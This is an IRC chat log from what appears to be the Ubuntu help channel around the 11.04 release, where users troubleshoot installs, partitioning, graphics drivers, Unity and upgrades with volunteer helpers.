[20:54] <extraclassic> Kingsy101: http://www.cyberciti.biz/faq/ubuntu-static-ip/
[20:54] <ubuntu_> hey, I'm installing ubuntu 11.04 from a USB stick. When I click on the install icon in the live session, it unmounts the hard drive (or, I assume it does, as it goes from my desktop) and, although it's just unmounted it (it's /dev/sda) it asks whether I want to unmount it. Whatever I click, when it gets to the partition screen, it doesn't give me the choice to install it to hd, only the memory stick it's already on.
[20:54] <isibilir> can you tell someone how can i install nvidia 8400gs driver?
[20:54] <trism> Stava1: yes, in ccsm, under the unity plugin Hide Launcher/Never, you may need to install compizconfig-settings-manager first
[20:54] <okenobi> TiagoTiago: I got the same error you did. I'm now trying to upgrade from command line
[20:54] <botcity> tripelb, also it does not matter which ubuntu was on the partition as long as it was not encrypted
[20:54] <nanana_> ^^
[20:54] <Stava1> trism, thanks
[20:54] <zvacet> a2c4n9e1: did you choose manual way or whatever it name is
[20:54] <nit-wit> Kevin147, I thought it was my walnut sized brain.;)
[20:54] <sexygurl2furl> Can somebody please help me fix Ubuntu, it won't boot properly.
[20:54] <qin> isibilir: Mostly we use jockey to obtain driver, jockey-txt with no gui, but nvidia drivers from web should have install notes or script.
[20:55] <okenobi> TiagoTiago: seems to work ... I'll keep you posted!
[20:55] <sweb>  qin, any idean ?
[20:55] <MC8> Is it possible to make the Unity sidebar float right?
[20:55] <MC8> (as opposed to left?)
[20:55] <isibilir> qin: how?
[20:55] <Kingsy101> extraclassic - yeah I was looking at that but, my interfaces file only contains 2 lines
[20:55] <erichammond> I've already gotten used to having the application menu in the top bar (unity) but I noticed that Emacs does not currently work this way.  Each window has its own menu still.  Are there plans to make this consistent?
[20:55] <a2c4n9e1> zvacet: i chose erase ubuntu and then i clicked advance partitioning
[20:55] <Kingsy101> it looks NOTHING like that example
[20:56] <Kingsy101> should I just add a "address 192.168.0.11" line ? and thats it ?
[20:56] <TiagoTiago> okenobi: opened a program i shouldn't have and had to reboot and now it won't boot, it complains about / not being ready to be mounted or somthing
[20:56] <isibilir> qin: i dont find really
[20:56] <qin> sweb: Puzzled, hm, if you say that gnome do not let you do something, update would be first reaction.
[20:56] <truepurple> Upgrading from 10.10 to 11.04, I have come into a strange blank screen, here are the details- http://ubuntuforums.org/showthread.php?p=10739837#post10739837 can anyone help?
[20:56] <kapare_> oups
[20:56] <qin> isibilir: Find what?
[20:56] <kate__> Repeating: "It shows me lines of code in my BIOS font, like it's working, and then says 'udevd - work (84): /sbin/modprobe -bv pci:(string of letters and numbers which I did write down) unexpected exit with status 0x0009."
[20:56] <z0mbyk1d> hey, I am on karmic server right now
[20:57] <z0mbyk1d> how should i upgrade to natty?
[20:57] <tripelb> botcity, I dont know how to copy files from that drive to this drive. I dont have permissions. I know the password to both drives. I would do it in terminal if I knew how to copy cirectories and subdirectories. I dont think the cp command works for that, does it?  Then could I use sudo? That doesnt make sense because root on A wouldnt have permissions on B. Of course I know the password to B, it's mine and I can boot from it. (I must l
[20:57] <tripelb> augh right, heh. This is such a tangle of nothing.)
[20:57] <isibilir> qin: how can install nvidia drivers
[20:57] <z0mbyk1d> was there an l release? i forget
[20:57] <kate__> It's a properly burned live cd with an image file that checked out.
[20:57] <Neo_> hi, how can i change Xserver drivers directory?
[20:57] <z0mbyk1d> karmic... maverick... natty?
[20:57] <zvacet> kate__: did you check md5sum of your iso
[20:57] <sweb> qin, how can i reset gnome setting completely ?
[20:57] <kate__> Yes.
[20:57] <isibilir> qin: can you send me a link for nvidia 8400gs driver ubuntu 11.04
[20:58] <a2c4n9e1> zvacet: anything?
[20:58] <Kingsy101> anyone?
[20:58] <akashm1990> I downloaded the .deb file of Revenge of the Titans, installed it using ubuntu software center. Now, when I try too launch it using the software launcher nothing happens. Using Ubuntu 10.10. Any ideas?
[20:58] <qin> isibilir: In console, type: jockey-text, need connection to Internet, if no driver is detected, try to search for mesa support for your card.
[20:58] <silverpt> Hello all. I'm having trouble instaling 11.04 on a Acer Aspire Laptop. As soon as ubunto CD boots the display backlight turns off. any clue?
[20:58] <extraclassic> Kingsy101: you'll need the netmask and stuff
[20:58] <qin> kate__: It would be easier to try Usb approach.
[20:59] <kate__> The hash checked out with "ubuntu-11.04-desktop-i386.iso" which is what my image file is.
[20:59] <ubuntu_> hey, I'm installing ubuntu 11.04 from a USB stick. When I click on the install icon in the live session, it unmounts the hard drive (or, I assume it does, as it goes from my desktop) and, although it's just unmounted it (it's /dev/sda) it asks whether I want to unmount it. Whatever I click, when it gets to the partition screen, it doesn't give me the choice to install it to hd, only the memory stick it's already on.
[20:59] <zvacet> a2c4n9e1: you should see your partitions and decide on witch one you will install and mark partition as root and ext4
[20:59] <Kingsy101> extraclassic - so change    iface lo inet loopback   to     iface lo inet static     and then insert the other info below ?
[20:59] <Kingsy101> extraclassic - is that right ?
[21:00] <qin> silverpt: You mean no display or dimmed?
[21:00] <extraclassic> Kingsy101: you need to leave loopback but add another entry for static
[21:00] <Kingsy101> extraclassic - ah ok
[21:00] <zvacet> kate__: I don´t know try to lower speed or different cd
[21:00] <Kingsy101> thanks
[21:00] <TiagoTiago> o£
[21:00] <truepurple> Upgrading from 10.10 to 11.04, I have come into a strange blank screen, here are the details- http://ubuntuforums.org/showthread.php?p=10739837#post10739837 can anyone help?
[21:00] <a2c4n9e1> zvacet: i see all my partition. and i want to make new partition table from scratch. i'm planing to have root, /var, /cache, /cache1
[21:00] <TiagoTiago> oops
[21:00] <stevecam> my desktop keeps on reloading and is in an unusable state, is this a common prob, ive ran the upgrade to 11.04 and im using gnome
[21:01] <coz_> stevecam,  no it is not that I am aware of
[21:01] <coz_> stevecam,  how did you install this,,, via live cd ,,,yes?
[21:01] <zvacet> a2c4n9e1: if you don´t have valuable files on them delete all partitions and start making new
[21:01] <qin> ubuntu_: Make sure your HD is mounted
[21:01] <jbeatty> http://goo.gl/hFaWK Ubuntu press release; try Ctrl-F "Linux". :/ This is embarrassing. Shame on you, Canonical.
[21:01] <stevecam> via the update screen
[21:01] <a2c4n9e1> zvacet: but when i want to make a mount point for the /cache and /cache1 i was unable to do so, due to the mount point option can't be manually edited
[21:01] <stevecam> no cd
[21:01] <coz_> stevecam,  ok this is an upgrade from maverick to natty...yes?
[21:02] <mbroeker> stevecam, what kind of gpu do you have?
[21:02] <a2c4n9e1> zvacet: i'm making a new partitionin...like i said
[21:02] <botcity> i have two file systems like yours one with 11.04 and 9.10 and i used the file manager to transfer pics and files from one to the other maybe its encrypted?
[21:02] <stevecam> nvidia, and it was 10.10 to 11.04
[21:02] <ohsix> jbeatty: do you need help? you might try #ubuntu-offtopic otherwise, this is a help channel
[21:02] <zvacet> a2c4n9e1: why cache can you use media or something like that
[21:02] <jmcantrell_> on the ubuntu certification page, does anyone know what it means when it says "pre-installed only"
[21:02] <mbroeker> stevecam, i had the same problem today. your card is not able to run unity and your card is not blacklisted
[21:03] <coz_> stevecam,  what you might want to try is going to system/administration/additional drivers... remove the driver,, reboot  and then install it again
[21:03] <Neo_> hi, i compiled xf86-video-ati from git and i installed it in a non canonical directory and now i don't know how to make the system load this driver in this directory instead of the deafult one; can anyone help me?
[21:03] <stevecam> coz_, im unable to do that, i will have to do it through CLI
[21:03]  * ceed^ is away: Auto-away after 1 mins idle (gone at 29th Apr, 15:03:57)
[21:04] <a2c4n9e1> zvacet: i can use any name for the new partition, but the problem is the installer won't let me type manually. i have to choose from the drop down list
[21:04] <jbeatty> ohsix, people who need help normally are newbies. Just wanted these people to know that the Ubuntu project is profiting on the backs of developers they don't even credit in their press releases.
[21:04] <raven_> WHY there is an open connection to screenshots.ubuntu.com?
[21:04] <truepurple> Upgrading from 10.10 to 11.04, I have come into a strange blank screen, here are the details- http://ubuntuforums.org/showthread.php?p=10739837#post10739837 can anyone help?
[21:04] <mbroeker> stevecam, add "deb http://de.archive.ubuntu.com/ubuntu/ natty-proposed restricted main multiverse universe" to /etc/apt/sources.list and perform a full-upgrade
[21:04] <ohsix> jbeatty: #ubuntu-offtopic
[21:05] <tripelb> truepurple I appreaciate your pose
[21:05] <ohsix> Neo_: well, you should have looked at your other options before building it yourself; for example, the xorg-edgers ppa already builds it almost daily, and it installs it in the right place / works; so if you can clean up the mess, try the ppa
[21:05] <Pici> raven_: If you're looking at Software Center, thats where it gets its application screenshots from.
[21:05] <zvacet> a2c4n9e1: so choose whatever you want and don ´ know if you can type name manually
[21:05] <tripelb> truepurple I appreciate your prose
[21:05] <jon7> i just installed a clean version of 11.04 on my laptop, when i boot the system a black screen comes up and the cursor blinks, nothing else happens. is there some crap i can hack in /boot/grub/grub.cfg?
[21:05] <raven_> Pici, ok
[21:05] <blurgh> Has anyone managed to get global menu working in Eclipse? Or is it depending on developers to fix it?
[21:05] <HAKMASTER> <truepurple> why you don't try a clean install
[21:05] <okenobi> TiagoTiago: try to use a CD and then to chroot (do you know what I'm talking about) ?
[21:05] <truepurple> HAKMASTER:  I don't have it on disk
[21:05] <KrisDouglas> if you had an NVIDIA driver (proprietary) and installed 11.04, you wont be able to boot. You have to SSH into your machine, wget the nvidia driver and reboot.
[21:06] <HAKMASTER> <truepurple> ohh , well i always prefer a clear install rather than upgrading =)\
[21:06] <TiagoTiago> kinda, i have a general idea of what chrooting is, but no idea how it is actually done
[21:06] <stevecam> mbroeker, why de.ubuntu?
[21:06] <botcity> tripelb, try drag and drop with nautilus?
[21:06] <stevecam> is that just a mirror location?
[21:06] <coz_> truepurple,  can you burn a disk there?
[21:06] <tripelb> why dont you try to tell me how to repartion my drive .. I need to squeeze stuff together so I can repartition. Like defrag. But I dont know how. I have used ONLY 15% of 884G
[21:07] <Neo_> ohsix, ok thanks, then i'll try to install it in the default directory
[21:07] <mbroeker> stevecam, yes, use your own line. just activate the proposed repo
[21:07] <truepurple> coz_:  I can not burn any disks unless it is possible to revert back to 10.10 or otherwise get ubuntu to work
[21:07] <okenobi> TiagoTiago: http://goo.gl/eXUtz
[21:07] <ohsix> Neo_: ehh, just use the ppa
[21:07] <tripelb> botcity. I dont have permission. that's what it tells me when I do that. I have done that already.
[21:07] <Vustom> Is it just me or when I select to keep launchers in Unity 3D (Ubuntu 11.4) they don't stay there when reboot?
[21:07] <TiagoTiago> I've been without my desktop machine for months, and just moved in to a new place, gotta search for virgin media and download an image
[21:07] <tripelb> botcity, how come you dont believe me?
[21:07] <ohsix> Neo_: theres another ppa they run that just has stable driver updates in it as well
[21:07] <a2c4n9e1> zvacet: the options only "/", /boot /home, /tmp, /usr, /var, /srv, /opt, /usr/local can't i use other than that?
[21:07] <coz_> truepurple,   well it should work,, what are your system specs?   cpu   video memory
[21:07] <truepurple> coz_: I listed it in the thread link
[21:07] <zvacet> a2c4n9e1: I don´t think so
[21:08] <TiagoTiago> opening
[21:08] <truepurple> coz_:  http://ubuntuforums.org/showthread.php?p=10739837#post10739837
[21:08] <tripelb> TiagoTiago, that's a question? what are you using, a laptop?  What is a virgin media?
[21:08] <botcity> tripelb, i do
[21:08] <vivid> how do i configure the unity panel?
[21:08] <stevecam> mbroeker, ok thanks
[21:08] <KrisDouglas> vivid you can't.
[21:08] <a2c4n9e1> zvacet: so if i need other partition name other than that, how can i do that?
[21:08] <Neo_> ohsix, my purpose was to install ubuntu natty graphics driver(mesa too) to ubuntu 10.10
[21:08] <tripelb> botcity, what can I do to copy the files or move the user to my A drive.
[21:08] <KrisDouglas> vivid, compiz config settings manager has some basic options
[21:08] <TiagoTiago> that is not how you call it in English?
[21:08] <vivid> KrisDouglas, i cant? thats pretty opposite of free as in freedom
[21:08] <KrisDouglas> vivid, tell me about it.
[21:09] <coz_> truepurple,  ok that seems like it definitly should work,, the only think i personally would question is the ati card since I know nothing about ati
[21:09] <tripelb> TiagoTiago, call what? you mean a brand new optical disk?
[21:09] <zvacet> a2c4n9e1: I really don´t know
[21:09] <a2c4n9e1> used to be able to name custom mount point for partition :(
[21:09] <TiagoTiago> blank disks
[21:09] <TiagoTiago> yeah
[21:09] <Neo_> ohsix, that's because i noticed that thoose drivers works better than theese
[21:09] <ohsix> Neo_: then you add the sources and use package pinning; but it is still somethingn you don't want to do, there were 2 xorg abi updates that natty rolled in iirc
[21:09] <a2c4n9e1> zvacet thanks
[21:09] <tripelb> TiagoTiago, cool. Did you get a new desktop?
[21:09] <KrisDouglas> vivid, sudo apt-get install compizconfig-settings-manager
[21:09] <KrisDouglas> then search for Unity on the left hand side
[21:09] <truepurple> coz_:  With facing these strange blinking dashes, does that mean it is not installing?
[21:09] <vivid> i just want to right click and delete or add
[21:09] <vivid> change the order
[21:09] <KrisDouglas> you can only change things like hiding and key combinations though
[21:10] <kate__> Tried it with a USB... same error. Different work[number] but the same long string of letters/numbers and message.
[21:10] <a2c4n9e1> anyone know how to use custom mountpoint name for a new installation??? please....
[21:10] <Jasonn> How do I uninstall a program I installed through compiling?
[21:10] <KrisDouglas> vivid, you can't do that
[21:10] <tripelb> I have 2 Ubuntu installations on different drives, what can I do to copy the files or move the user to my A drive.
[21:10] <TiagoTiago> bought new mobo video card and case, got all the parts yesterday
[21:10] <vivid> KrisDouglas, pretty much a total fail then, looks like were being pushed to proprietary "use it our way"
[21:10] <armor-64> can someine tell me how to hide the sidebar on ubuntu 11.04?please help
[21:10] <ohsix> Neo_: unfortunately due to changes in natty the ppa stopped doing daily builds for maverick and older some time ago; otherwise you could just use it for updated drivers for mav as well
[21:10] <KrisDouglas> vivid, I saw it in a "Oh they obviously haven't finished it yet" light.
[21:10] <Jasonn> armor-64: What day number is it today?
[21:11] <zvacet> tripelb: boot in live cd and with gparted shrink your partition and on unallocated space make new one
[21:11] <vivid> yet published it as the default environment
[21:11] <stevecam> armor-64, place a thick piece of stickytape over the left hand side of the screen?
[21:11] <KrisDouglas> which begs the question, why give it to users as the default then??
[21:11] <a2c4n9e1> somebody?
[21:11] <kate__> I pressed enter to interrupt normal cd start and selected 'try ubuntu without installing' and a line of green illegible letters started scrolling down like I was suddenly in the Matrix.
[21:11] <fosser_josh> vuze problem in 11.04 vuze: Depends: azureus but it is not going to be installed. same problem faced during 10.04 last year. why this is so
[21:11] <erichammond> mmond
[21:11] <Neo_> ohsix, ok i'll try it; thanks
[21:11] <zvacet> a2c4n9e1: sorry I was not much of help  :(
[21:11] <Enissay> Hi all, can anyone help me to get the streaming link of a channel from it's page on facebook please?
[21:11] <jmcantrell_> anyone use a thinkpad t420 or t520?
[21:11] <Metaxa> armor-64: If you maximize the window you are working in, it auto-hides
[21:11] <johnathan> ok, so... I am trying to install the Japanese input on iBus, but i keep getting this message: http://pastebin.com/DdVcWxw3
[21:11] <armor-64> no i mean hide it foreve
[21:11] <Jasonn> fosser_josh: #vuze
[21:11] <KrisDouglas> vivid, tip... in the login screen options, change boot to Ubuntu Classic :)
[21:12] <johnathan> and it doesn't install afterwards
[21:12] <coz_> truepurple,  blinking dashes... I suppose you could try  rebooting holding down the left shift key to get to grub menu,, hit   "e"  to edit the kernel stanza adding   nomodeset  just before quiet splash and see if it boots then
[21:12] <vivid> how do i install gnome-shell in natty?
[21:12] <vivid> or gnome 3.0 ui
[21:12] <fosser_josh> Jasonn: but is repo problem
[21:12] <coz_> truepurple,   not sure that will help but cant hurt either
[21:12] <Metaxa> armor-64: You want to completely remove it?
[21:12] <ohsix> vivid: there's a ppa, but it's not really supported here
[21:12] <stevecam> vivid, i thought that it was gnome-terminal
[21:12] <vivid> .....
[21:12] <coz_> stevecam,  it is gnome-terminal
[21:13] <KrisDouglas> johnathan, I think you can use apt-get -f install (or am I completely wrong?)
[21:13] <truepurple> coz_:  Could it possibly be installing at the moment behind this blank screen? If it is installing at this moment, restarting could screw it up
[21:13] <HAKMASTER> Ubuntu 11.0.4 looks like MAC
[21:13] <vivid> so we avoid using the new gnome ui to present our own and then dont even include gnome's?  sounds sketchy
[21:13] <DasEi> Enissay: can try, pm me
[21:13] <coz_> truepurple,  actually, probably not
[21:13] <a2c4n9e1> zvacet: come on... its okay, we're all learning here. perhaps someone else know about my problem
[21:13] <jmcantrell_> anyone use a thinkpad t420 or t520?
[21:13] <armor-64> Metaxa : Yes,i want to use Ubuntu classic without it
[21:13] <KrisDouglas> truepurple, unlikely, its just your desktop can't load. You have to ssh into your machine and install the graphics driver in text mode.
[21:13] <johnathan> KrisDouglas, I haven't tried that... if you wanna gimme the exact snax for it, i can try it
[21:13] <coz_> truepurple,   it would be showing an idication of what is being installed if it were installing and you have a text terminal / black screen with cursor blinking
[21:13] <coz_> truepurple,   seems something is hanging
[21:14] <johnathan> KrisDouglas, I am still a noobie at codes for terminal
[21:14] <zvacet> fosser_josh: do you have universe repo enabled
[21:14] <ohsix> vivid: we? ubuntu still ships gnome2, if you want it use the classic session; newer versions will include gnome3 after it's had some time to breathe, it was only just released
[21:14] <Metaxa> armor-64: Have you logged out of Unity and switched to Classic?
[21:14] <tripelb> zvacet, how much can I shrink it and not destroy any files. I read that ext4 spreads files out on the HD, unlike NTFS
[21:14] <kate__> This is what I get if I let it just run: "udevd - work[84]: '/sbin/modprobe -bv pci:v00001002d00009591sv000017AAsd00002116bc03sc00i00' unexpected exit with status 0x0009"
[21:14] <vivid> ohsix, yet it was included in past releases
[21:14] <ohsix> vivid: it was not
[21:14] <Rehan> wow i guess a watched ubuntu install never finishes. Left it on overnight and it had actually installed w/o erroring out this time.
[21:14] <KrisDouglas> johnathan, Solution seems to be detailed in this thread: http://ubuntuforums.org/showthread.php?t=1327907
[21:14] <zvacet> a2c4n9e1: tnx for comfort
[21:14] <kate__> And then it stops.
[21:14] <vivid> ohsix, check that....http://packages.ubuntu.com/search?keywords=gnome-shell&searchon=names&suite=maverick&section=all
[21:14] <fosser_josh> zvacet: yah
[21:14] <truepurple> KrisDouglas: Well, I was having trouble with my video card drivers before updating even, I had a corrupted driver I couldn't remove, and was not sure what driver to use
[21:15] <zvacet> tripelb: you will se how nuch
[21:15] <truepurple> KrisDouglas: What is ssh?
[21:15] <armor-64> Metaxa : yes to see if it change my setting on the top bar
[21:15] <ohsix> tripelb: filesystems already store everything all over the disk; theres really no distinction between filesystems in that regard, you're probably thinking of extents which are new in 4
[21:15] <ohsix> vivid: i said gnome3
[21:15] <vivid> gnome-shell = gnome-shell = gnome3
[21:15] <tarek> hi all I have a problem and i want help
[21:15] <Metaxa> armor-64: Let me try a few things
[21:15] <zvacet> fosser_josh: both packages are from that repo I don´t see reason why they do bot install
[21:16] <a2c4n9e1> okay, simple problem, can i have two partition with the same mount point? how will i address each partition?
[21:16] <Olson> hello, I have ubuntu 11.04, upgrade from 10.04, the dialogue here show my NVIDIA display driver is not in use, is this just because I use the "classic no effects" setup, or does it need further investigation:  http://www.pasteall.org/pic/11715
[21:16] <KrisDouglas> truepurple, its remote shell (like remote desktop but it gives you a terminal.) sadly, if you don't know what that is, its likely to not be installed, and thus your install could be hosed.
[21:16] <MACscr> this probably being asked a lot the past two days, but can we not upgrade to 11.04 until all the PPA's we use upgrade to netty as well?
[21:16] <ohsix> vivid: gnome-shell 2.31 was from 2010, and was a development release
[21:16] <kate__> I get the same error using a cd or a usb.
[21:16] <tripelb> zvacet, OK. I didnt know that. I keep learning stuff late. I started on a learning about linux website this week. -- I have another question if you would be so kind. (separate line)
[21:16] <armor-64> Metaxa : OK
[21:16] <Makoo> siema
[21:16] <tripelb> zvacet - I have 2 Ubuntu installations on different drives, what can I do to copy the files or move the user on the other to my main drive I have booted up on?  Thanks and thanks.
[21:16] <ohsix> vivid: gnome-shell might be the distinctive feature of gnome3 _now_, but that doesn't mean it was then
[21:16] <RyanCM> I'm running 10.10 amd64, and it's not letting me upgrade to 11.04. Anyone able to help?
[21:16] <zvacet> tripelb: you will see how much space is used so let shrinked partition in bigger then that
[21:16] <KrisDouglas> truepurple, In fact there is one option
[21:16] <fosser_josh> zvacet: is there any solution. coz last year i faced same problem but then later that problem is fixed
[21:17] <Guest30692> Hello, ive upgraded to 11.04 and enjoyed unity but only until i rebooted, now it loads into old design, and if i log out user, im getting alot of gfx glitches,though there is none, if i dont log in (its auto logged in)
[21:17] <KrisDouglas> you could put grub into Single User Mode, remove the nvidia driver and see what happens
[21:17] <TiagoTiago> brb gonna see if i can find a blank disk on the unpacked boxes
[21:17] <vivid> ohsix, so why isnt gnome-shell in the repos now?
[21:17] <mello> Hi, i'm using my music library that is on my NTSF partition. In rhythmbox it loads all songs, in any other musicplayer it doesn't, anyone got an idea?
[21:17] <zvacet> fosser_josh: I don´t use vuze so I don´t know
[21:17] <ohsix> RyanCM: open software properties and have it display updates that aren't lts releases
[21:17] <tripelb> zvacet, OK I understand what you have told me to do so I will go do it today.
[21:17] <TiagoTiago> Hm, wait, can i install from a 2GB usb stick?
[21:17] <johnathan> KrisDouglas, i can't seem to find "Software Resources"
[21:17] <KrisDouglas> truepurple, http://www.cyberciti.biz/faq/grub-boot-into-single-user-mode/
[21:17] <zvacet> tripelb: ok
[21:17] <jmcantrell_> anyone using a system76 lemur ultrathin?
[21:18] <a2c4n9e1> geez.........
[21:18] <banderl0g> wow..1.8k users
[21:18] <ohsix> vivid: because its dependencies aren't, gnome3 is not; gnome-shell 2.31 ran largely on top of gtk2 and all that stuff, for the developer previews
[21:18] <johnathan> KrisDouglas, Would it be the same as the Software Center?
[21:18] <tripelb> zvacet, did you get my second question (that I have been asking for days here, lol)
[21:18] <truepurple> KrisDouglas: I never get to a grub screen though
[21:18] <tripelb> zvacet - I have 2 Ubuntu installations on different drives, what can I do to copy the files or move the user on the other to my main drive I have booted up on?
[21:18] <johnathan> KrisDouglas, nvmnd, found it
[21:18] <coz_> truepurple,  ooo even if you hold down shift?
[21:18] <kate__> Repeat: When booting from live, it stops and I get this message: "udevd - work[84]: '/sbin/modprobe -bv pci:v00001002d00009591sv000017AAsd00002116bc03sc00i00' unexpected exit with status 0x0009"
[21:19] <mello> Hi, i'm using my music library that is on my NTSF partition. In rhythmbox it loads all songs, in any other musicplayer it doesn't, anyone got an idea?
[21:19] <RyanCM> ohsix: No, it's says there's a new version, etc. But when I click the upgrade button, it says i'm not connected to the internet.. but obviously I am.
[21:19] <Diosjoe> Hello, ive upgraded to 11.04 and enjoyed unity but only until i rebooted, now it loads into old design, and if i log out user, im getting alot of gfx glitches,though there is none, if i dont log in (its auto logged in)
[21:19] <truepurple> coz_:  I will try holding down shift
[21:19] <kate__> Checked the hash on the image before burning, burned at low speed on cd, tried with cd and usb.
[21:19] <zvacet> tripelb: not right person for that kind of question
[21:19] <Guest23133> what do you guys think about the Verizon Wireless 4G LTE USB Modem 551L for ubuntu? anyone recommend other usb modems?
[21:19] <ohsix> RyanCM: ah well you should have said that :] most people would interpret your original question as the button you're expecting not being present
[21:19] <sudipta> how to test whether my nvidia card will support unity?
[21:20] <truepurple> coz_:  KrisDouglas  Ok, got to a grub menu, I see a "previous linux version" option, should I pick it?
[21:20] <KrisDouglas> Yes, actually.
[21:20] <Olson> what to do about this please? screenshot:  http://www.pasteall.org/pic/11715
[21:20] <RyanCM> ohsix, yeah, that was my bad. you still got any idea why it would be saying that?
[21:20] <ipo> hello everybody!
[21:20] <KrisDouglas> truepurple, worth a try
[21:20] <ipo> I cant install ubuntu on fujitsu latop
[21:21] <ipo> laptop
[21:21] <engammalsko> Hi, how do I change my 11.04 menu back to the 10.10 menu? The one with two panels.
[21:21] <ipo> please help me!
[21:21] <ohsix> RyanCM: not really; it sounds like a generic failure message that is clobbering the real message
[21:21] <Diosjoe> engammelsko
[21:21] <_Mr_Proper_> Just upgraded to 11.04 - I've switched to ubuntu classic, but the menu that used to be under 'Appearance' to choose the visual effects level has disappeared.. Where has it ogne?
[21:21] <RyanCM> ohsix: i could imagine so. i'll try rebooting. thanks for your replies.
[21:21] <a2c4n9e1> how to make custom partition mount point in 11.04 owhhh ubuntu never got this stiff before.... :(
[21:21] <Olson> engammalsko, when you log in, choose "classic" rather than "unity"
[21:21] <ohsix> engammalsko: pick the classic session on the login screen
[21:21] <coz_> engammalsko,  log off   put your pass word in but before you hit enter  just below change to classic session
[21:21] <engammalsko> Aha, is that all?
[21:21] <zvacet> engammalsko: onlogin screen>session<ubuntu classic
[21:21] <coz_> engammalsko,  or classic   (no effects)  and yes that's it :)
[21:21] <shugyosha> hello
[21:21] <lcb> wow... 1800+ happy users in here :o
[21:22] <diablosraven> im having issues with inconsistant hdd detection
[21:22] <truepurple> KrisDouglas: It says "It seems you do not have the hardware required to run unity. Please choose ubuntu classic at the login screen and you will be using the traditional environment"
[21:22] <Olson> i need happy giving!
[21:22] <a2c4n9e1> lcb: -1 for me!
[21:22] <engammalsko> Ok, is there anything better with the new menu? Or is it just personal taste?
[21:22] <diablosraven> can anyone help me
[21:22] <botcity> kate__, did you use the alternative cd last time ?
[21:22] <RyanCM> ohsix: do you know if it's possible to upgrade via terminal?
[21:22] <lcb> a2c4n9e1, ok, sorry, let me take you off the balance :)
[21:22] <ohsix> _Mr_Proper_: that was just to switch the wm to compiz or run ccsm, you can do that yourself too :] they have tests for compiz now, i think it just automatically runs if it can, then you would need to edit the settings with ccsm
[21:22] <zvacet> lcb: I don´ know about happy if we are here  :)
[21:22] <kate__> Yep.
[21:22] <KrisDouglas> truepurple, accept that message, that's fine.
[21:22] <a2c4n9e1> lcb: lol. i was a happy user until natty ^_^
[21:23] <ohsix> RyanCM: yes, but i haven't used it
[21:23] <KrisDouglas> It should get you into a GUI
[21:23] <Diosjoe> Hello, after updating to 11.04 i could use unity, but after first reboot after the update, it jumps straight to the old design, if i log the user out, i get a lot of graphic disortion, mouse pointer missing etc, though if i relog in i have a slight chance of getting unity back, until i reboot... help please
[21:23] <truepurple> KrisDouglas: It didn't give me a option to choose ubuntu classic, but I loaded into a desktop, now I will see what happens if I restart
[21:23] <lcb> a2c4n9e1, just use classic desktop. you get the same as before
[21:23] <KrisDouglas> wait
[21:23] <lcb> zvacet, :)
[21:23] <TheRedOctober> Hi folks.  Is there a way to have multiple users (on a muti-head/multi-input system) login as the _same_ user and run firefox?  Unfortunately I get the "Firefox instacne already running" popup
[21:23] <_Mr_Proper_> Under additional drivers, it says the nvidia driver is activated but not in use.... If I run glxgears, it runs awfully and not smooth at all.. Sounds like I need to switch something over to be accelerated
[21:23] <botcity> kate__, and  the alternative cd this time ?
[21:23] <scottj`> is there a part on the standard / hierarchy where I can create "files" that are in ram or swap not disk and don't remain on reboot?
[21:23] <subcool> can someone help me with y /usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0 creates a loop
[21:23] <KrisDouglas> truepurple, i would recommend installing the latest nvidia driver from the guides on the Ubuntu wiki
[21:23] <a2c4n9e1> lcb: i don't even get to the dektop yet. i'm still going to partition my hard drive for ubuntu
[21:23] <kate__> Same thing.
[21:23] <shugyosha> hy , I have issues with playing video in full screen with all players ( Totem ,vlc, mplayer) since a go from 10.09 to 11.04, the images makes lines like it can't refresh fast enough
[21:24] <KrisDouglas> https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[21:24] <RyanCM> I've got a problem. When i click the upgrade button it tells me I don't have an active internet connection.. but, obviously, i do.
[21:24] <a2c4n9e1> lcb: but stuck, unfortunately
[21:24] <truepurple> KrisDouglas: I have only one mouse to swap between these PCs, is there a hotkey for restarting?
[21:24] <shugyosha> can enyone help me ?
[21:24] <ohsix> TheRedOctober: no, they cannot share firefox profiles, you can create multiple ones, but it sounds like you have a problem you're trying to brute force
[21:24] <kbrosnan> TheRedOctober: not without them each having a seperate profile
[21:24] <Rehan> shugyosha: whats your issue?
[21:24] <ipo> KrisDouglas : hey! are you there?
[21:24] <truepurple> KrisDouglas: Except I am using a ATI radeon 6850
[21:24] <KrisDouglas> ctrl+alt+del
[21:24] <KrisDouglas> I am here
[21:24] <lcb> a2c4n9e1, so....? you need a nife? :) j/k what happened?
[21:24] <armor-64> Metaxa : have you found anything?
[21:24] <KrisDouglas> use up and down keys, truepurple
[21:24] <TiagoTiago> The ISO is both a live disk and a installer, right?
[21:24] <kate__> If I toggle the keyboard at the first purple screen, which does appear, it lets me pick a language and gives me a couple of options, but whether I choose try or install, it doesn't work.
[21:24] <truepurple> KrisDouglas: You would recommend nvadia drivers for a ATI card?
[21:24] <Rehan> TiagoTiago: yep
[21:24] <coz_> TiagoTiago,  it should be yes
[21:24] <apatheticsheep> hola
[21:24] <shugyosha> Rehan > I tried to explain
[21:24] <KrisDouglas> truepurple, sorry, assumed you were on NV
[21:25] <a2c4n9e1> lcb: can you lend me a chainsaw instead? lol
[21:25] <ohsix> RyanCM: there are logs in /var/log/dist-upgrade you could look at, i'm not sure if they'd have been written to by the time you get the message you are getting, but it's worth a look
[21:25] <coz_> need to break here,, be back later
[21:25] <kate__> When I just pick 'install,' the green matrix letters start scrolling down the purple screen.
[21:25] <KrisDouglas> truepurple, the same guide is available for ATI
[21:25] <ipo> KrisDouglas: I say when I boot that CD , I see just a background and a pointer of mouse!!
[21:25] <Metaxa> armor-64: Nothing so far, was doing some research but not finding much info on it
[21:25] <Rehan> shugyosha: i just joined the channel :P
[21:25] <a2c4n9e1> lcb: i need to name a custom mountpoint for my partition, but the installer won't let me do so. any workaround for that
[21:25] <lcb> a2c4n9e1, a jackhammer, that's the only thing i use for hard-to-solve issues
[21:25] <TiagoTiago> If i use that universal installer thingy to place the iso on a usb stick, will i be able to install using that?
[21:25] <TheRedOctober> ohsix: roger, i just want to have one login to rule them all....the desktop is locked down.  it is just for data input via firefox
[21:25] <botcity> kate__, what did you use to burn?
[21:25] <shugyosha> hy , I have issues with playing video in full screen with all players ( Totem ,vlc, mplayer) since a go from 10.09 to 11.04, the images makes lines like it can't refresh fast enough
[21:25] <zvacet> a2c4n9e1: i know it is not what you want but reinstall 10.10 and make partition as you like after that install natty on root and do not format other just thout
[21:25] <shugyosha> for you Rehan
